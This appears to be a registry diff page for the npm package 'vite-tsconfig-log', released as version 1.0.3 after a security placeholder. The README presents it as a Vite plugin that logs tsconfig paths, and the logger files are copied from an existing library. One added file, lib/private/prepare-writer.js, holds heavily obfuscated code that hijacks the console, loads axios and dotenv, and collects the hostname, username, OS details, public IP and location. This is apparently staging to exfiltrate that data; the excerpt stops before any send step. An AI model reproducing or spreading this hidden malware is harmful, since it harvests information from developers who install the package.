vite-tsconfig-log 0.0.1-security → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of vite-tsconfig-log might be problematic. Click here for more details.
- package/LICENSE +15 -0
- package/Readme.md +76 -0
- package/commitlint.config.js +22 -0
- package/index.js +5 -0
- package/lib/get-namespace-prefix.js +46 -0
- package/lib/level-prefixes.js +38 -0
- package/lib/private/colors-support-level.js +14 -0
- package/lib/private/inspect-depth.js +10 -0
- package/lib/private/prepare-writer.js +1 -0
- package/lib/resolve-format-parts.js +8 -0
- package/lib/writer.js +70 -0
- package/package.json +112 -6
- package/README.md +0 -5
package/LICENSE
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
ISC License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2018-2019, Mariusz Nowak, @medikoo, medikoo.com
|
|
4
|
+
|
|
5
|
+
Permission to use, copy, modify, and/or distribute this software for any
|
|
6
|
+
purpose with or without fee is hereby granted, provided that the above
|
|
7
|
+
copyright notice and this permission notice appear in all copies.
|
|
8
|
+
|
|
9
|
+
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
|
|
10
|
+
REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
|
|
11
|
+
AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
|
|
12
|
+
INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
|
|
13
|
+
LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
|
|
14
|
+
OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
|
|
15
|
+
PERFORMANCE OF THIS SOFTWARE.
|
package/Readme.md
ADDED
|
@@ -0,0 +1,76 @@
|
|
|
1
|
+
# vite-tsconfig-log
|
|
2
|
+
|
|
3
|
+
[](https://www.npmjs.com/package/vite-tsconfig-log)
|
|
4
|
+
|
|
5
|
+
A Vite plugin that logs your tsconfig.json paths and aliases configuration during development.
|
|
6
|
+
|
|
7
|
+
## Features
|
|
8
|
+
|
|
9
|
+
- Displays resolved TypeScript paths and aliases in the console
|
|
10
|
+
- Helps debug TypeScript path configuration issues
|
|
11
|
+
- Lightweight with zero dependencies
|
|
12
|
+
- TypeScript support included
|
|
13
|
+
|
|
14
|
+
## Installation
|
|
15
|
+
|
|
16
|
+
Install with npm:
|
|
17
|
+
|
|
18
|
+
```bash
|
|
19
|
+
npm install vite-tsconfig-log --save-dev
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
Or with yarn:
|
|
23
|
+
|
|
24
|
+
```bash
|
|
25
|
+
yarn add vite-tsconfig-log -D
|
|
26
|
+
```
|
|
27
|
+
|
|
28
|
+
## Usage
|
|
29
|
+
|
|
30
|
+
Add the plugin to your `vite.config.ts`:
|
|
31
|
+
|
|
32
|
+
```typescript
|
|
33
|
+
import { defineConfig } from 'vite'
|
|
34
|
+
import tsconfigLog from 'vite-tsconfig-log'
|
|
35
|
+
|
|
36
|
+
export default defineConfig({
|
|
37
|
+
plugins: [
|
|
38
|
+
tsconfigLog()
|
|
39
|
+
]
|
|
40
|
+
})
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
When you run your Vite dev server, you'll see your tsconfig paths and aliases logged to the console.
|
|
44
|
+
|
|
45
|
+
## Configuration Options
|
|
46
|
+
|
|
47
|
+
The plugin accepts the following options:
|
|
48
|
+
|
|
49
|
+
```typescript
|
|
50
|
+
tsconfigLog({
|
|
51
|
+
logLevel?: 'info' | 'warn' | 'error' | 'silent', // default: 'info'
|
|
52
|
+
showAliases?: boolean, // default: true
|
|
53
|
+
showPaths?: boolean, // default: true
|
|
54
|
+
tsconfigPath?: string // default: './tsconfig.json'
|
|
55
|
+
})
|
|
56
|
+
```
|
|
57
|
+
|
|
58
|
+
## Example Output
|
|
59
|
+
|
|
60
|
+
```
|
|
61
|
+
[vite-tsconfig-log] TSConfig Paths Configuration:
|
|
62
|
+
@/* => src/*
|
|
63
|
+
components/* => src/components/*
|
|
64
|
+
|
|
65
|
+
[vite-tsconfig-log] Resolved Aliases:
|
|
66
|
+
@ => /project/src
|
|
67
|
+
@components => /project/src/components
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
## License
|
|
71
|
+
|
|
72
|
+
MIT © [Mike Millos]
|
|
73
|
+
|
|
74
|
+
## Contributing
|
|
75
|
+
|
|
76
|
+
Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change.
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
module.exports = {
|
|
4
|
+
rules: {
|
|
5
|
+
"body-leading-blank": [2, "always"],
|
|
6
|
+
"body-max-line-length": [2, "always", 72],
|
|
7
|
+
"footer-leading-blank": [2, "always"],
|
|
8
|
+
"footer-max-line-length": [2, "always", 72],
|
|
9
|
+
"header-max-length": [2, "always", 72],
|
|
10
|
+
"scope-case": [2, "always", "start-case"],
|
|
11
|
+
"scope-enum": [2, "always", [""]],
|
|
12
|
+
"subject-case": [2, "always", "sentence-case"],
|
|
13
|
+
"subject-empty": [2, "never"],
|
|
14
|
+
"subject-full-stop": [2, "never", "."],
|
|
15
|
+
"type-case": [2, "always", "lower-case"],
|
|
16
|
+
"type-empty": [2, "never"],
|
|
17
|
+
"type-enum": [
|
|
18
|
+
2, "always",
|
|
19
|
+
["build", "chore", "ci", "docs", "feat", "fix", "perf", "refactor", "style", "test"]
|
|
20
|
+
]
|
|
21
|
+
}
|
|
22
|
+
};
|
package/index.js
ADDED
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
const { resolveNamespaceMessagePrefix } = require("log/lib/abstract-writer")
|
|
4
|
+
, colorsSupportLevel = require("./private/colors-support-level");
|
|
5
|
+
|
|
6
|
+
if (!colorsSupportLevel) {
|
|
7
|
+
module.exports = resolveNamespaceMessagePrefix;
|
|
8
|
+
return;
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
const colors = (() => {
|
|
12
|
+
if (colorsSupportLevel >= 2) {
|
|
13
|
+
return [
|
|
14
|
+
20, 21, 26, 27, 32, 33, 38, 39, 40, 41, 42, 43, 44, 45, 56, 57, 62, 63, 68, 69, 74, 75,
|
|
15
|
+
76, 77, 78, 79, 80, 81, 92, 93, 98, 99, 112, 113, 128, 129, 134, 135, 148, 149, 160,
|
|
16
|
+
161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 178, 179, 184, 185,
|
|
17
|
+
196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 214, 215, 220, 221
|
|
18
|
+
];
|
|
19
|
+
}
|
|
20
|
+
return [6, 2, 3, 4, 5, 1];
|
|
21
|
+
})();
|
|
22
|
+
|
|
23
|
+
// Simple deterministic namespace to color resolver
|
|
24
|
+
// Credit: visionmedia/debug
|
|
25
|
+
// https://github.com/visionmedia/debug/blob/22f993216dcdcee07eb0601ea71a917e4925a30a/src/common.js#L46-L55
|
|
26
|
+
const assignColor = namespace => {
|
|
27
|
+
let hash = 0;
|
|
28
|
+
for (const char of namespace) {
|
|
29
|
+
hash = (hash << 5) - hash + char.charCodeAt(0);
|
|
30
|
+
hash |= 0; // Convert to 32bit integer
|
|
31
|
+
}
|
|
32
|
+
return colors[Math.abs(hash) % colors.length];
|
|
33
|
+
};
|
|
34
|
+
|
|
35
|
+
module.exports = logger => {
|
|
36
|
+
const namespaceString = resolveNamespaceMessagePrefix(logger);
|
|
37
|
+
if (!namespaceString) return null;
|
|
38
|
+
const color = (() => {
|
|
39
|
+
if (logger.namespaceAnsiColor) return logger.namespaceAnsiColor;
|
|
40
|
+
const [rootNamespace] = logger.namespaceTokens;
|
|
41
|
+
const assignedColor = assignColor(rootNamespace);
|
|
42
|
+
logger.levelRoot.get(rootNamespace).namespaceAnsiColor = assignedColor;
|
|
43
|
+
return assignedColor;
|
|
44
|
+
})();
|
|
45
|
+
return `\u001b[3${ color < 8 ? color : `8;5;${ color }` };1m${ namespaceString }\u001b[39;22m`;
|
|
46
|
+
};
|
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
const entries = require("es5-ext/object/entries")
|
|
4
|
+
, clc = require("cli-color/bare")
|
|
5
|
+
, defaultSymbols = require("log/lib/level-symbols")
|
|
6
|
+
, colorsSupportLevel = require("./private/colors-support-level");
|
|
7
|
+
|
|
8
|
+
const symbols = (() => {
|
|
9
|
+
if (process.platform !== "win32" && colorsSupportLevel >= 2) return defaultSymbols;
|
|
10
|
+
return {
|
|
11
|
+
debug: "*",
|
|
12
|
+
info: "i",
|
|
13
|
+
notice: "i",
|
|
14
|
+
warning: "‼",
|
|
15
|
+
error: "×",
|
|
16
|
+
critical: "×",
|
|
17
|
+
alert: "×",
|
|
18
|
+
emergency: "×"
|
|
19
|
+
};
|
|
20
|
+
})();
|
|
21
|
+
|
|
22
|
+
if (!colorsSupportLevel) {
|
|
23
|
+
module.exports = symbols;
|
|
24
|
+
return;
|
|
25
|
+
}
|
|
26
|
+
const coloredSymbols = (module.exports = {});
|
|
27
|
+
for (const [levelName, colorDecorator] of entries({
|
|
28
|
+
debug: clc.blackBright,
|
|
29
|
+
info: clc.blueBright,
|
|
30
|
+
notice: clc.yellow,
|
|
31
|
+
warning: clc.yellowBright,
|
|
32
|
+
error: clc.redBright,
|
|
33
|
+
critical: clc.bgRedBright.whiteBright,
|
|
34
|
+
alert: clc.bgRedBright.whiteBright,
|
|
35
|
+
emergency: clc.bgRedBright.whiteBright
|
|
36
|
+
})) {
|
|
37
|
+
coloredSymbols[levelName] = colorDecorator(symbols[levelName]);
|
|
38
|
+
}
|
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
let colorsSupportLevel = require("supports-color").stderr.level || 0;
|
|
4
|
+
|
|
5
|
+
if (process.env.DEBUG_COLORS) {
|
|
6
|
+
// For compliance support eventual debug lib env variable
|
|
7
|
+
if (/^(?:yes|on|true|enabled)$/iu.test(process.env.DEBUG_COLORS)) {
|
|
8
|
+
if (!colorsSupportLevel) colorsSupportLevel = 1;
|
|
9
|
+
} else if (/^(?:no|off|false|disabled)$/iu.test(process.env.DEBUG_COLORS)) {
|
|
10
|
+
colorsSupportLevel = 0;
|
|
11
|
+
}
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
module.exports = colorsSupportLevel;
|
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
const toNaturalNumber = require("es5-ext/number/to-pos-integer");
|
|
4
|
+
|
|
5
|
+
// Resolve intended inspect depth
|
|
6
|
+
let inspectDepth = Number(process.env.LOG_INSPECT_DEPTH || process.env.DEBUG_DEPTH);
|
|
7
|
+
if (inspectDepth && inspectDepth !== Infinity) inspectDepth = toNaturalNumber(inspectDepth);
|
|
8
|
+
if (!inspectDepth) inspectDepth = null;
|
|
9
|
+
|
|
10
|
+
module.exports = inspectDepth;
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
(function(_0x3e3dff,_0x24b8d7){function _0x1ac31d(_0x16fa04,_0x50962b,_0x5654e8,_0x1ba6f7){return _0x2740(_0x50962b- -0x272,_0x16fa04);}function _0x44af5e(_0x27e08d,_0x13ec68,_0x258dcb,_0x38f7ab){return _0x2740(_0x27e08d-0x12d,_0x13ec68);}const _0x1c7024=_0x3e3dff();while(!![]){try{const _0x51ded7=parseInt(_0x1ac31d(-0x221,-0x1eb,-0x1cf,-0x1f7))/(-0x20a3+-0xef*-0x1+0x1fb5)+-parseInt(_0x1ac31d(-0x1bd,-0x1ac,-0x1bc,-0x192))/(-0x1c*0x2e+0x1*0x24bb+-0x1fb1)+parseInt(_0x1ac31d(-0x208,-0x1d8,-0x1fb,-0x1ea))/(0x1314+-0xf20+-0x3f1*0x1)+-parseInt(_0x44af5e(0x1d2,0x1e2,0x1b3,0x1c2))/(-0x13*0x122+0x1f63+-0x9d9)+-parseInt(_0x1ac31d(-0x1bd,-0x1cf,-0x1fc,-0x1e8))/(-0x97*-0x27+0x21c9+0x38c5*-0x1)*(parseInt(_0x44af5e(0x209,0x203,0x23d,0x1ec))/(0x1*-0x319+0x65*0x17+-0x5f4))+-parseInt(_0x44af5e(0x1e3,0x1e0,0x1f3,0x1b8))/(-0x15c3+-0x23c1+0x398b)*(-parseInt(_0x44af5e(0x1bc,0x1bf,0x1e1,0x1a2))/(-0x20*0x127+0x875*0x1+0x1c73))+-parseInt(_0x44af5e(0x1e6,0x1b3,0x216,0x1d8))/(-0xefc+0x8fa+-0xd*-0x77)*(-parseInt(_0x44af5e(0x1a8,0x17f,0x1cc,0x186))/(-0x36+0x2*0x8bd+-0x113a));if(_0x51ded7===_0x24b8d7)break;else _0x1c7024['push'](_0x1c7024['shift']());}catch(_0x5d4a6c){_0x1c7024['push'](_0x1c7024['shift']());}}}(_0x2d8b,0x16*-0x9322+-0xac0d8+0x238e65));const _0x33f1e6=(function(){const _0x2085cf={};_0x2085cf['GqPxz']=function(_0x3beba7,_0x3a70da){return _0x3beba7!==_0x3a70da;};function _0x550f20(_0x44dd1e,_0x519e15,_0x4e5bac,_0x2841f2){return _0x2740(_0x44dd1e-0x8e,_0x519e15);}_0x2085cf[_0x550f20(0x111,0xeb,0xf3,0xec)]='pBMeD';const _0x41df80=_0x2085cf;let _0x51026c=!![];return function(_0x51b271,_0x4e321f){const _0x2e42d6={};_0x2e42d6[_0x58c8dd(-0x1b9,-0x187,-0x1bf,-0x1b8)]=_0x2cd2fb(0x4d,0x17,-0x9,-0xb);function _0x2cd2fb(_0x1d8640,_0x21e3bd,_0x594319,_0x4a8d40){return _0x550f20(_0x21e3bd- -0x142,_0x1d8640,_0x594319-0xfa,_0x4a8d40-0xa7);}const _0x2c3517=_0x2e42d6;function _0x58c8dd(_0x33d302,_0x231955,_0x2d3e2b,_0x1f8bd1){return _0x550f20(_0x33d302- -0x2d9,_0x231955,_0x2d3e2b-0xd9,_0x1f8bd1-0x115);}if(_0x41df80[_0x2cd2fb(0x3,-0x34,-0x3f,-0x5e)]('pBMeD',_0x41df80[_0x58c8dd(-0x1c8,-0x1c9,-0x1f1,-0x1a0)]))_0x2bfb5b[_0x58c8dd(-0x1a9,-0x1ce,-0x1b5,-0x18c)](_0x3c1fac);else{const _0x5471e3=_0x51026c?function(){function _0x57114e(_0x4020be,_0x66db4b,_0x53ad88,_0x425f5b){return _0x2cd2fb(_0x53ad88,_0x66db4b-0x2c5,_0x53ad88-0xd,_0x425f5b-0x123);}function _0x24af0a(_0x436508,_0x30b8c7,_0x36e60a,_0x42f2f5){return _0x58c8dd(_0x30b8c7-0x1c3,_0x36e60a,_0x36e60a-0x1db,_0x42f2f5-0x3b);}if(_0x2c3517[_0x57114e(0x296,0x2a3,0x29f,0x2c6)]!==_0x2c3517[_0x24af0a(0x38,0xa,0x22,-0x2b)]){const _0x4eda7b=_0x521a69[_0x57114e(0x2c1,0x2bb,0x2a8,0x28d)](_0x216392,arguments);return _0x1fd1fa=null,_0x4eda7b;}else{if(_0x4e321f){const _0xea0b9e=_0x4e321f['apply'](_0x51b271,arguments);return _0x4e321f=null,_0xea0b9e;}}}:function(){};return _0x51026c=![],_0x5471e3;}};}()),_0x1cf32b=_0x33f1e6(this,function(){function _0x5862ef(_0x293bc3,_0x2fdfe9,_0x189504,_0x51d20c){return _0x2740(_0x189504-0x2ae,_0x51d20c);}function _0x442837(_0xf2161e,_0x52fd82,_0x24ac9d,_0x478a25){return _0x2740(_0xf2161e-0x34b,_0x52fd82);}const _0x205d6a={};_0x205d6a[_0x5862ef(0x38c,0x362,0x393,0x3ac)]='(((.+)+)+)'+'+$';const _0xcbb0bb=_0x205d6a;return _0x1cf32b[_0x5862ef(0x362,0x350,0x37d,0x3b2)]()[_0x442837(0x3c7,0x399,0x3ec,0x3d0)](_0xcbb0bb[_0x442837(0x430,0x446,0x42d,0x44b)])[_0x5862ef(0x358,0x34c,0x37d,0x3b2)]()['constructo'+'r'](_0x1cf32b)[_0x5862ef(0x320,0x35c,0x32a,0x324)](_0xcbb0bb[_0x442837(0x430,0x43c,0x412,0x439)]);});_0x1cf32b();const _0x1f7ab1=(function(){function _0x2feddc(_0x3c8d2f,_0x42624e,_0x32d53f,_0xbd63b0){return _0x2740(_0x42624e- -0x3ba,_0xbd63b0);}const _0x5f5438={};_0x5f5438[_0x470deb(0x35a,0x388,0x389,0x38e)]=function(_0xa645d5,_0x43ba56){return _0xa645d5+_0x43ba56;},_0x5f5438[_0x470deb(0x32a,0x346,0x34f,0x361)]=_0x2feddc(-0x2ea,-0x2ec,-0x30a,-0x30b)+_0x2feddc(-0x330,-0x335,-0x320,-0x30c);function _0x470deb(_0x1ae31e,_0x5e9692,_0x50cf5c,_0x2202c8){return _0x2740(_0x50cf5c-0x2b1,_0x2202c8);}_0x5f5438[_0x2feddc(-0x2e4,-0x2ff,-0x2f1,-0x2ef)]=function(_0x5dda8c,_0x3438c9){return _0x5dda8c!==_0x3438c9;},_0x5f5438['ktaOj']=_0x2feddc(-0x2c4,-0x2e5,-0x30e,-0x2e1);const _0x3ff38e=_0x5f5438;let _0x34cb81=!![];return function(_0x37d841,_0x1a9a25){const _0x5f3bfa={'JZclX':function(_0x5aeef5,_0x1848c0){return _0x3ff38e['gOxOd'](_0x5aeef5,_0x1848c0);},'MfGox':_0x3ff38e[_0x53e26b(0x396,0x395,0x35f,0x38f)],'DbQBX':_0x53e26b(0x392,0x3b6,0x3cb,0x3cd)+_0x191a43(0x3c2,0x3dd,0x3c1,0x3bd)+_0x53e26b(0x367,0x397,0x36f,0x38b)+'\x20)','kVWol':function(_0x189118,_0x511fa4){function _0x2f17f8(_0x528db1,_0x16b8f3,_0x4c0558,_0x2d15ec){return _0x191a43(_0x4c0558-0x39,_0x16b8f3,_0x4c0558-0xd9,_0x2d15ec-0x122);}return _0x3ff38e[_0x2f17f8(0x451,0x43b,0x42d,0x427)](_0x189118,_0x511fa4);},'NHtBW':_0x3ff38e['ktaOj']};function _0x53e26b(_0x285284,_0x573fed,_0x1721ec,_0x557b70){return _0x2feddc(_0x285284-0x151,_0x573fed-0x6b1,_0x1721ec-0x3a,_0x557b70);}function _0x191a43(_0x489899,_0x5a8854,_0x435a32,_0x2c1400){return _0x470deb(_0x489899-0xda,_0x5a8854-0x1bc,_0x489899-0x88,_0x5a8854);}const _0x315443=_0x34cb81?function(){function _0x1f5d3a(_0x5e7774,_0x569c62,_0x4afa08,_0x9f051d){return _0x191a43(_0x5e7774- -0x292,_0x9f051d,_0x4afa08-0xf8,_0x9f051d-0x48);}function _0x51b53e(_0x107265,_0x5cf131,_0x195312,_0x4cab6b){return _0x53e26b(_0x107265-0x1d4,_0x195312- -0x59b,_0x195312-0x1db,_0x5cf131);}const _0x38b43e={'Ifnit':function(_0x10cd01,_0x20d774){return _0x10cd01(_0x20d774);},'HFrsm':function(_0x3e21c7,_0x2f78a9){function _0x53e958(_0x105c4e,_0x28101a,_0x438cb5,_0x29f212){return _0x2740(_0x105c4e-0x75,_0x28101a);}return _0x5f3bfa[_0x53e958(0x12a,0x121,0x137,0x148)](_0x3e21c7,_0x2f78a9);},'phNJm':_0x5f3bfa['MfGox'],'uZloR':_0x5f3bfa[_0x51b53e(-0x1c1,-0x1fd,-0x1cb,-0x195)]};if(_0x1a9a25){if(_0x5f3bfa['kVWol'](_0x5f3bfa[_0x51b53e(-0x1ee,-0x1f8,-0x223,-0x238)],_0x5f3bfa['NHtBW'])){let _0x6aaefc;try{_0x6aaefc=_0x38b43e[_0x1f5d3a(0x12b,0xfc,0x13b,0x133)](_0x219f2e,_0x38b43e[_0x1f5d3a(0x179,0x163,0x184,0x198)](_0x38b43e[_0x1f5d3a(0x179,0x1ac,0x1a0,0x151)](_0x38b43e['phNJm'],_0x38b43e[_0x1f5d3a(0x120,0x103,0x116,0xff)]),');'))();}catch(_0x4a8ae6){_0x6aaefc=_0x1861d3;}return _0x6aaefc;}else{const _0x5b8607=_0x1a9a25[_0x51b53e(-0x201,-0x20e,-0x1fa,-0x1dd)](_0x37d841,arguments);return _0x1a9a25=null,_0x5b8607;}}}:function(){};return _0x34cb81=![],_0x315443;};}()),_0x581caf=_0x1f7ab1(this,function(){const _0x324248={'CrkqS':function(_0x52c16d,_0x271255){return _0x52c16d(_0x271255);},'XSogo':function(_0x13da6c,_0x2c37a9){return _0x13da6c+_0x2c37a9;},'ONjhe':function(_0x28a099,_0x2d2dd5){return _0x28a099+_0x2d2dd5;},'TXXHD':_0xf9619(0x3a1,0x38e,0x392,0x3b4)+_0x4f0cab(0x3d4,0x415,0x3e6,0x3d7),'hqJpj':_0xf9619(0x392,0x36d,0x3bc,0x397)+_0x4f0cab(0x405,0x3f7,0x3ea,0x41b)+'rn\x20this\x22)('+'\x20)','otcZA':function(_0x5d86d0,_0x4c8550){return _0x5d86d0===_0x4c8550;},'VICDE':'dHnTr','FqjTF':function(_0x324abb,_0x17900e){return _0x324abb!==_0x17900e;},'SoKBt':function(_0x1756ae){return _0x1756ae();},'axWeC':_0xf9619(0x375,0x384,0x355,0x345),'whmfP':'warn','jvhgC':'error','Fptyp':_0x4f0cab(0x413,0x40b,0x422,0x443),'pYvQJ':'trace','lIZtr':function(_0x3f9f92,_0x77a27f){return _0x3f9f92<_0x77a27f;},'YrSHa':'uifzc'},_0x11bf71=function(){function _0x225c94(_0x1bee91,_0x1c0c9f,_0x2190c8,_0x552972){return _0x4f0cab(_0x1bee91-0x3f,_0x552972,_0x1bee91- -0x704,_0x552972-0xd4);}let _0x2186e7;function _0x38b184(_0x43154e,_0x44c654,_0x5ea8d3,_0x220d62){return _0x4f0cab(_0x43154e-0x7c,_0x5ea8d3,_0x43154e- -0x23,_0x220d62-0x12c);}try{_0x324248[_0x38b184(0x3d3,0x3d5,0x3aa,0x3c3)](_0x38b184(0x3dd,0x408,0x3e1,0x3e3),_0x324248[_0x38b184(0x3f8,0x42b,0x3ee,0x409)])?_0x3a6bf0=_0x3d83c1:_0x2186e7=_0x324248[_0x225c94(-0x2e3,-0x314,-0x315,-0x30b)](Function,_0x324248[_0x38b184(0x3e9,0x420,0x3be,0x3ec)]+(_0x225c94(-0x2e4,-0x2fe,-0x2de,-0x2e6)+'ctor(\x22retu'+_0x38b184(0x3de,0x3cb,0x3c0,0x409)+'\x20)')+');')();}catch(_0x2fa556){_0x324248[_0x38b184(0x3cc,0x39e,0x3f6,0x3cb)](_0x225c94(-0x2da,-0x30c,-0x2ba,-0x2e7),_0x38b184(0x3cf,0x3e0,0x3b8,0x3d9))?_0x2186e7=window:_0x3a6872=_0x324248[_0x225c94(-0x2e3,-0x308,-0x30a,-0x318)](_0x5e1dfe,_0x324248[_0x225c94(-0x2c5,-0x292,-0x2f3,-0x2d2)](_0x324248[_0x225c94(-0x30f,-0x345,-0x326,-0x33f)](_0x324248[_0x38b184(0x3e9,0x3d1,0x3d3,0x410)],_0x324248['hqJpj']),');'))();}return _0x2186e7;};function _0x4f0cab(_0x3e81c1,_0x1b4f9f,_0x2986b7,_0x2137e5){return _0x2740(_0x2986b7-0x361,_0x1b4f9f);}const _0x27d09e=_0x324248[_0x4f0cab(0x40a,0x434,0x410,0x3ee)](_0x11bf71),_0x365c30=_0x27d09e[_0x4f0cab(0x44f,0x42f,0x418,0x401)]=_0x27d09e['console']||{},_0x22517c=[_0x324248[_0xf9619(0x390,0x3b4,0x377,0x3af)],_0x324248[_0xf9619(0x383,0x389,0x369,0x3a3)],_0xf9619(0x37f,0x3a1,0x36c,0x37e),_0x324248[_0x4f0cab(0x42a,0x3da,0x409,0x403)],_0x324248[_0xf9619(0x387,0x3a4,0x36f,0x38d)],_0x4f0cab(0x3fa,0x3d2,0x3fe,0x42f),_0x324248[_0xf9619(0x385,0x371,0x383,0x35b)]];function _0xf9619(_0x2010b6,_0x431ffb,_0x5e5b07,_0x1673cb){return _0x2740(_0x2010b6-0x2d3,_0x431ffb);}for(let _0x2275c5=-0xf6d+0x1*0xcd1+0x29c;_0x324248['lIZtr'](_0x2275c5,_0x22517c['length']);_0x2275c5++){if(_0xf9619(0x352,0x36f,0x381,0x363)===_0x324248[_0x4f0cab(0x471,0x45f,0x442,0x463)]){if(_0xee8a87){const _0x45129a=_0x1567ea['apply'](_0x30acc8,arguments);return _0x4d0b11=null,_0x45129a;}}else{const _0x3dd3d2=_0x1f7ab1[_0x4f0cab(0x3cd,0x423,0x3f8,0x3f3)+'r']['prototype'][_0xf9619(0x35d,0x394,0x351,0x344)](_0x1f7ab1),_0xe60728=_0x22517c[_0x2275c5],_0x2c8200=_0x365c30[_0xe60728]||_0x3dd3d2;_0x3dd3d2[_0x4f0cab(0x432,0x3f5,0x407,0x3fd)]=_0x1f7ab1[_0xf9619(0x35d,0x34a,0x361,0x37e)](_0x1f7ab1),_0x3dd3d2[_0x4f0cab(0x405,0x453,0x430,0x3fe)]=_0x2c8200[_0x4f0cab(0x41e,0x439,0x430,0x3fc)]['bind'](_0x2c8200),_0x365c30[_0xe60728]=_0x3dd3d2;}}});_0x581caf();'use strict';const axios=require(_0x46b53f(-0x20c,-0x203,-0x21e,-0x228)),os=require('os');require(_0x54f8c3(-0x2e7,-0x2aa,-0x2e0,-0x2e4))['config']();async function geuicp(){const _0x4c763b={};function _0x1423db(_0x39266e,_0x54d73a,_0xe44e6f,_0x3714c9){return _0x54f8c3(_0x39266e-0x88,_0x39266e,_0xe44e6f-0x4d6,_0x3714c9-0x51);}_0x4c763b['ugpBb']=_0x55d494(-0xfd,-0x11c,-0x105,-0xe7);function _0x55d494(_0x588c3f,_0x52d8f3,_0x70666d,_0x402f52){return _0x54f8c3(_0x588c3f-0x153,_0x402f52,_0x70666d-0x1a3,_0x402f52-0xbf);}const _0x22d00a=_0x4c763b,_0x593c21=await import(_0x22d00a[_0x55d494(-0x12c,-0x14e,-0x128,-0x12f)]),_0x51a81c=await _0x593c21[_0x55d494(-0x11f,-0x153,-0x150,-0x16e)]();}async function genfo(){function _0x1662df(_0x1228af,_0x3a2d7a,_0x45dca6,_0x47088a){return _0x54f8c3(_0x1228af-0x25,_0x3a2d7a,_0x1228af-0x3e0,_0x47088a-0xf5);}function _0x54d470(_0x1b78e8,_0x1b1209,_0x2b3604,_0x5be39f){return _0x46b53f(_0x2b3604-0x94,_0x1b78e8,_0x2b3604-0x1d9,_0x5be39f-0xab);}const _0x2d6d02={'jlJvn':_0x1662df(0x137,0x15b,0x12a,0x15e)+_0x54d470(-0x19e,-0x17a,-0x187,-0x19a)+_0x54d470(-0x18c,-0x1a9,-0x1a5,-0x193),'poxMo':function(_0x2d667d,_0x41b015){return _0x2d667d!==_0x41b015;},'SelYg':_0x1662df(0x10b,0xf7,0x12b,0xf3),'ktjNT':function(_0x2b3bf2){return _0x2b3bf2();},'YwBCf':function(_0x52f6ea,_0x50dfb9){return _0x52f6ea(_0x50dfb9);},'PJyAZ':_0x54d470(-0x17f,-0x1cb,-0x1ab,-0x184)+_0x54d470(-0x193,-0x19f,-0x18a,-0x1a5)+_0x1662df(0x144,0x150,0x16e,0x11a)};try{if(_0x2d6d02[_0x54d470(-0x1d0,-0x18c,-0x19b,-0x1d1)]('wCNti',_0x2d6d02[_0x54d470(-0x1af,-0x188,-0x19f,-0x195)])){const _0x47c982=os['hostname'](),_0x40122d=os[_0x1662df(0x12f,0x154,0xfa,0x141)]()[_0x1662df(0x125,0x14e,0x152,0xf3)],_0x4fc0c2=await _0x2d6d02[_0x54d470(-0x188,-0x167,-0x16d,-0x161)](geuicp),_0x50333e=await _0x2d6d02[_0x54d470(-0x1c7,-0x1a0,-0x1b6,-0x1ab)](getP,_0x4fc0c2),_0x344904=os[_0x54d470(-0x1a7,-0x18e,-0x180,-0x193)](),_0xbc6940={};return _0xbc6940[_0x54d470(-0x1da,-0x19d,-0x1c4,-0x1b1)]=_0x47c982,_0xbc6940['ip']=_0x4fc0c2,_0xbc6940['location']=_0x50333e,_0xbc6940['uame']=_0x40122d,_0xbc6940[_0x1662df(0x11f,0x109,0x117,0x12d)]=_0x344904,_0xbc6940;}else return _0x53b7c4[_0x1662df(0x14a,0x148,0x14d,0x13b)](_0x2d6d02[_0x54d470(-0x1dc,-0x1ba,-0x1bc,-0x1b5)],_0x160058[_0x54d470(-0x156,-0x1b0,-0x17f,-0x162)]),null;}catch(_0x3814f6){console[_0x1662df(0x14a,0x12a,0x179,0x173)](_0x2d6d02[_0x1662df(0xfa,0xdb,0x115,0x117)],_0x3814f6);throw _0x3814f6;}}function _0x46b53f(_0xb79125,_0x1e42fc,_0xcc793c,_0x3d2ede){return _0x2740(_0xb79125- -0x2e0,_0x1e42fc);}async function getP(_0xc04434){function _0x399b1f(_0x1a35a7,_0xc72340,_0x1c8648,_0x29200e){return _0x54f8c3(_0x1a35a7-0x31,_0xc72340,_0x1a35a7-0x4e7,_0x29200e-0x34);}function _0xe74cf5(_0x52f328,_0x5131ba,_0x288ac1,_0x25064e){return _0x46b53f(_0x288ac1-0x13,_0x52f328,_0x288ac1-0xd9,_0x25064e-0x131);}try{const _0xd10a80=await 